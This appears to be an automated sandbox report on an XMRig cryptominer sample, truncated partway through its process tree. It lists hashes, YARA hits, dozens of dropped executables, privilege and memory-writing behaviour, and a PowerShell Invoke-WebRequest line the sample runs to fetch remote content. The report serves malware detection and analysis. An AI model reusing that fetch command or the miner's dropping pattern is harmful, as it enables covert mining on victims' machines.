xmrig | 59f062614bc4937c3a81a244c4833901ac55448cc8c08ccb814c910f062e0ab1

Analysis

max time kernel
17s
max time network
17s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
28/04/2024, 07:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
Size

2.1MB
MD5

04a6a85376c850a2e3add8f58e58a74d
SHA1

5adde5414b60204d9a870142e498a425585df2ba
SHA256

59f062614bc4937c3a81a244c4833901ac55448cc8c08ccb814c910f062e0ab1
SHA512

1bb8a3d53fb3273ae3abc2f4617bbe548b330de5938fea7be51300c540de24bf2c80dd12572ed87f6eb8273f2b69d6317320a55e089b53a50c8cb56a700d3266
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMV:NAB9

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2928-200-0x000000013F600000-0x000000013F9F2000-memory.dmp	xmrig
behavioral1/memory/2584-196-0x000000013F5F0000-0x000000013F9E2000-memory.dmp	xmrig
behavioral1/memory/2568-192-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	xmrig
behavioral1/memory/2920-190-0x000000013FAF0000-0x000000013FEE2000-memory.dmp	xmrig
behavioral1/memory/2336-187-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	xmrig
behavioral1/memory/2648-185-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/3068-23-0x000000013F550000-0x000000013F942000-memory.dmp	xmrig
behavioral1/memory/2932-31-0x000000013FDE0000-0x00000001401D2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
3068	UcIeiUl.exe
2932	tZBNTVw.exe
2648	bVGhLBA.exe
2584	JyuTPPr.exe
2928	GUQWtLE.exe
2336	SxavDnA.exe
2920	NnUvYEo.exe
2568	TOmKmap.exe
2488	jPmrRCX.exe
2904	PiDfQZH.exe
3036	UlglKZW.exe
2480	lCCabYq.exe
2524	xjtFeFr.exe
2728	VuvBiuV.exe
2856	iagezpr.exe
1764	GgyXLce.exe
2576	UstgxkM.exe
2816	EyxTbco.exe
1628	pZIGfvs.exe
2064	toqYJyt.exe
1752	OjrBVPp.exe
688	fMenBxL.exe
2632	OzrypHU.exe
2764	TPcaZUc.exe
1172	KHAdVhQ.exe
2864	zMMJUlF.exe
1492	cioqFCx.exe
1996	RXeVMes.exe
1532	XoWBsNh.exe
1180	dOOCazD.exe
2116	Pqelawm.exe
452	tZJLdRE.exe
2944	eGwnTCW.exe
2200	FbqsCfa.exe
1772	MdYjNiY.exe
2716	pUBIFWm.exe
1116	vByzter.exe
2212	eepZxzz.exe
1836	xWMUAgT.exe
1064	hSktCQv.exe
328	uZEqPYn.exe
2976	RhyWcdE.exe
1612	BlBSjNT.exe
1680	TMSUHKE.exe
2256	QYotvJU.exe
2160	xqLOVgW.exe
1540	wIpMxjC.exe
896	DjrPtMs.exe
860	DfyzMCr.exe
1828	YhdAdaP.exe
3008	cPxgTXi.exe
1568	thnWVXq.exe
1600	RihMZiT.exe
1644	tgiZgny.exe
2616	spnLgTf.exe
2532	quuDWqj.exe
2688	XFEeQud.exe
1176	iBdZeSg.exe
2720	REtGWmO.exe
1528	SHLAzHZ.exe
2476	AHQZMHR.exe
2504	fhRkYWe.exe
2844	UHOBlZl.exe
2912	DIynxcx.exe

Loads dropped DLL 64 IoCs

pid	Process
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe

UPX packed file 43 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2360-0-0x000000013FC50000-0x0000000140042000-memory.dmp	upx
behavioral1/files/0x000b0000000141a2-11.dat	upx
behavioral1/files/0x00070000000146a2-29.dat	upx
behavioral1/files/0x000a0000000146c0-41.dat	upx
behavioral1/files/0x0006000000014b70-68.dat	upx
behavioral1/files/0x0006000000014ef8-73.dat	upx
behavioral1/files/0x00060000000155f7-94.dat	upx
behavioral1/files/0x0006000000015616-104.dat	upx
behavioral1/files/0x0006000000015b6f-112.dat	upx
behavioral1/files/0x0006000000015c52-121.dat	upx
behavioral1/files/0x000f000000005578-40.dat	upx
behavioral1/files/0x0008000000014539-39.dat	upx
behavioral1/files/0x00070000000149f5-55.dat	upx
behavioral1/files/0x0006000000015c6b-162.dat	upx
behavioral1/files/0x0006000000015cf6-171.dat	upx
behavioral1/files/0x0006000000015626-153.dat	upx
behavioral1/files/0x0006000000015605-151.dat	upx
behavioral1/files/0x00060000000155f3-149.dat	upx
behavioral1/files/0x0006000000015018-147.dat	upx
behavioral1/files/0x0006000000015cb6-142.dat	upx
behavioral1/files/0x0006000000015c78-136.dat	upx
behavioral1/memory/2928-200-0x000000013F600000-0x000000013F9F2000-memory.dmp	upx
behavioral1/memory/2584-196-0x000000013F5F0000-0x000000013F9E2000-memory.dmp	upx
behavioral1/memory/2568-192-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	upx
behavioral1/memory/2920-190-0x000000013FAF0000-0x000000013FEE2000-memory.dmp	upx
behavioral1/memory/2336-187-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	upx
behavioral1/memory/2648-185-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/files/0x0006000000015cfe-174.dat	upx
behavioral1/files/0x0006000000015cee-164.dat	upx
behavioral1/files/0x0006000000015c83-133.dat	upx
behavioral1/files/0x0006000000014de9-129.dat	upx
behavioral1/files/0x0006000000015c3d-115.dat	upx
behavioral1/files/0x0006000000014b31-111.dat	upx
behavioral1/files/0x0007000000014abe-93.dat	upx
behavioral1/files/0x000b000000014825-83.dat	upx
behavioral1/files/0x0007000000014af6-63.dat	upx
behavioral1/files/0x0006000000015cce-157.dat	upx
behavioral1/files/0x0006000000015c9f-139.dat	upx
behavioral1/files/0x00060000000155ed-86.dat	upx
behavioral1/memory/3068-23-0x000000013F550000-0x000000013F942000-memory.dmp	upx
behavioral1/files/0x0007000000014667-32.dat	upx
behavioral1/memory/2932-31-0x000000013FDE0000-0x00000001401D2000-memory.dmp	upx
behavioral1/files/0x00090000000143ec-15.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\qSNigZD.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\yoirrpZ.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\QPAeZgQ.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\VVZVyFi.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\UCMMPQO.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\VCENNtQ.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\nAiUZhC.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\eyAARUs.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\rCaaHGh.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\gIbylnb.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\ZcGYTNl.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\XfDjcMa.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\OzrypHU.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\ptPDwMS.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\kHvWNyT.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\lqgLWJh.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\qwkAflb.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\ieIGssw.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\kWCAuds.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\kCbDAOl.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\hNJdrHi.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\aYAGPIy.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\HfESXyZ.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\sJOeNMZ.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\vOmgHNv.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\aoLcDwu.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\GODrFCc.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\XFEeQud.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\gtQMnZF.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\YjQhGzs.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\sgbzPDm.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\gvsquZj.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\DIoroNI.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\ofNCtes.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\cioqFCx.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\dfabAqc.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\GAWumiq.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\fAClMZH.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\FsFJMBm.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\cPxgTXi.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\WIggxPs.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\zJvAtLB.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\dnPcQiQ.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\EZXQfKx.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\mwUgAlv.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\ESjQDcz.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\jfdysgc.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\MiknTCc.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\spnLgTf.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\AHQZMHR.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\cFbAiXO.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\RgkiLWp.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\FilSDRb.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\jyVpqFx.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\hipgJMK.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\xqLOVgW.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\urjHBvB.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\bvSBhbc.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\xYWmkzT.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\zQqgUzc.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\fiuukJv.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\LPcnnjV.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\zvbLTZg.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
File created	C:\Windows\System\ScSmyju.exe	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
Token: SeDebugPrivilege	2936	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2936	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	29
PID 2360 wrote to memory of 2936	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	29
PID 2360 wrote to memory of 2936	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	29
PID 2360 wrote to memory of 3068	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	30
PID 2360 wrote to memory of 3068	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	30
PID 2360 wrote to memory of 3068	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	30
PID 2360 wrote to memory of 2932	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	31
PID 2360 wrote to memory of 2932	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	31
PID 2360 wrote to memory of 2932	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	31
PID 2360 wrote to memory of 2928	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	32
PID 2360 wrote to memory of 2928	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	32
PID 2360 wrote to memory of 2928	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	32
PID 2360 wrote to memory of 2584	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	33
PID 2360 wrote to memory of 2584	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	33
PID 2360 wrote to memory of 2584	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	33
PID 2360 wrote to memory of 2648	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	34
PID 2360 wrote to memory of 2648	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	34
PID 2360 wrote to memory of 2648	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	34
PID 2360 wrote to memory of 2336	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	35
PID 2360 wrote to memory of 2336	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	35
PID 2360 wrote to memory of 2336	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	35
PID 2360 wrote to memory of 2920	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	36
PID 2360 wrote to memory of 2920	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	36
PID 2360 wrote to memory of 2920	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	36
PID 2360 wrote to memory of 2480	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	37
PID 2360 wrote to memory of 2480	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	37
PID 2360 wrote to memory of 2480	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	37
PID 2360 wrote to memory of 2568	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	38
PID 2360 wrote to memory of 2568	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	38
PID 2360 wrote to memory of 2568	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	38
PID 2360 wrote to memory of 2728	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	39
PID 2360 wrote to memory of 2728	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	39
PID 2360 wrote to memory of 2728	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	39
PID 2360 wrote to memory of 2488	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2488	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2488	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2576	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	41
PID 2360 wrote to memory of 2576	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	41
PID 2360 wrote to memory of 2576	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	41
PID 2360 wrote to memory of 2904	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	42
PID 2360 wrote to memory of 2904	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	42
PID 2360 wrote to memory of 2904	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	42
PID 2360 wrote to memory of 2064	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	43
PID 2360 wrote to memory of 2064	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	43
PID 2360 wrote to memory of 2064	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	43
PID 2360 wrote to memory of 3036	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	44
PID 2360 wrote to memory of 3036	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	44
PID 2360 wrote to memory of 3036	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	44
PID 2360 wrote to memory of 2632	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	45
PID 2360 wrote to memory of 2632	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	45
PID 2360 wrote to memory of 2632	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	45
PID 2360 wrote to memory of 2524	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	46
PID 2360 wrote to memory of 2524	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	46
PID 2360 wrote to memory of 2524	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	46
PID 2360 wrote to memory of 2764	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	47
PID 2360 wrote to memory of 2764	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	47
PID 2360 wrote to memory of 2764	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	47
PID 2360 wrote to memory of 2856	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	48
PID 2360 wrote to memory of 2856	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	48
PID 2360 wrote to memory of 2856	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	48
PID 2360 wrote to memory of 1172	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	49
PID 2360 wrote to memory of 1172	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	49
PID 2360 wrote to memory of 1172	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	49
PID 2360 wrote to memory of 1764	2360	04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\04a6a85376c850a2e3add8f58e58a74d_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\System\UcIeiUl.exe
  C:\Windows\System\UcIeiUl.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\tZBNTVw.exe
  C:\Windows\System\tZBNTVw.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\GUQWtLE.exe
  C:\Windows\System\GUQWtLE.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\JyuTPPr.exe
  C:\Windows\System\JyuTPPr.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\bVGhLBA.exe
  C:\Windows\System\bVGhLBA.exe
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Windows\System\SxavDnA.exe
  C:\Windows\System\SxavDnA.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\NnUvYEo.exe
  C:\Windows\System\NnUvYEo.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\lCCabYq.exe
  C:\Windows\System\lCCabYq.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\TOmKmap.exe
  C:\Windows\System\TOmKmap.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\VuvBiuV.exe
  C:\Windows\System\VuvBiuV.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\jPmrRCX.exe
  C:\Windows\System\jPmrRCX.exe
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Windows\System\UstgxkM.exe
  C:\Windows\System\UstgxkM.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\PiDfQZH.exe
  C:\Windows\System\PiDfQZH.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\toqYJyt.exe
  C:\Windows\System\toqYJyt.exe
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\System\UlglKZW.exe
  C:\Windows\System\UlglKZW.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\OzrypHU.exe
  C:\Windows\System\OzrypHU.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\xjtFeFr.exe
  C:\Windows\System\xjtFeFr.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\TPcaZUc.exe
  C:\Windows\System\TPcaZUc.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\iagezpr.exe
  C:\Windows\System\iagezpr.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\KHAdVhQ.exe
  C:\Windows\System\KHAdVhQ.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\GgyXLce.exe
  C:\Windows\System\GgyXLce.exe
  2⤵
  - Executes dropped EXE
  PID:1764
- C:\Windows\System\zMMJUlF.exe
  C:\Windows\System\zMMJUlF.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\EyxTbco.exe
  C:\Windows\System\EyxTbco.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\RXeVMes.exe
  C:\Windows\System\RXeVMes.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\pZIGfvs.exe
  C:\Windows\System\pZIGfvs.exe
  2⤵
  - Executes dropped EXE
